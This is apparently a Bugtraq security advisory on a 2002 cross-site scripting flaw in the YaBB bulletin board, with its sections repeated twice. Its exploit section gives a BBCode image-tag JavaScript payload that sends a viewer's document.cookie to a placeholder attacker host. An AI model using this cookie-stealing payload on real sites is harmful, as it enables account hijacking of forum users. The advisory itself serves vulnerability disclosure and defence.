YaBB Cross-Agent Scripting Vulnerability
BID:3828
Info
YaBB Cross-Agent Scripting Vulnerability
| Bugtraq ID: | 3828 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 09 2002 12:00AM |
| Updated: | Jan 09 2002 12:00AM |
| Credit: | This issue was reported to BugTraq on January 9th, 2002 by "Obscure" <[email protected]>. |
| Vulnerable: |
YaBB YaBB 9.11.2000 YaBB YaBB 9.1.2000 YaBB YaBB 1 Gold Release YaBB YaBB 1 Gold - SP 1 |
| Not Vulnerable: | |
Discussion
YaBB Cross-Agent Scripting Vulnerability
YaBB (Yet Another Bulletin Board) is freely available web forums/community software that is written in Perl. YaBB will run on most Unix/Linux variants, MacOS, and Microsoft Windows 9x/ME/NT/2000/XP platforms.
YaBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running YaBB.
This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials.
YaBB (Yet Another Bulletin Board) is freely available web forums/community software that is written in Perl. YaBB will run on most Unix/Linux variants, MacOS, and Microsoft Windows 9x/ME/NT/2000/XP platforms.
YaBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running YaBB.
This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials.
Exploit / POC
YaBB Cross-Agent Scripting Vulnerability
The following example will send cookie-based authentication credentials to the attacker's site:
[img]javascript:document.write
('<img
src=http://attackerssite/tools/cookie.plx?cookie='+escape(docu
ment.cookie)+'>')
[/img]
The following example will send cookie-based authentication credentials to the attacker's site:
[img]javascript:document.write
('<img
src=http://attackerssite/tools/cookie.plx?cookie='+escape(docu
ment.cookie)+'>')
[/img]
Solution / Fix
YaBB Cross-Agent Scripting Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.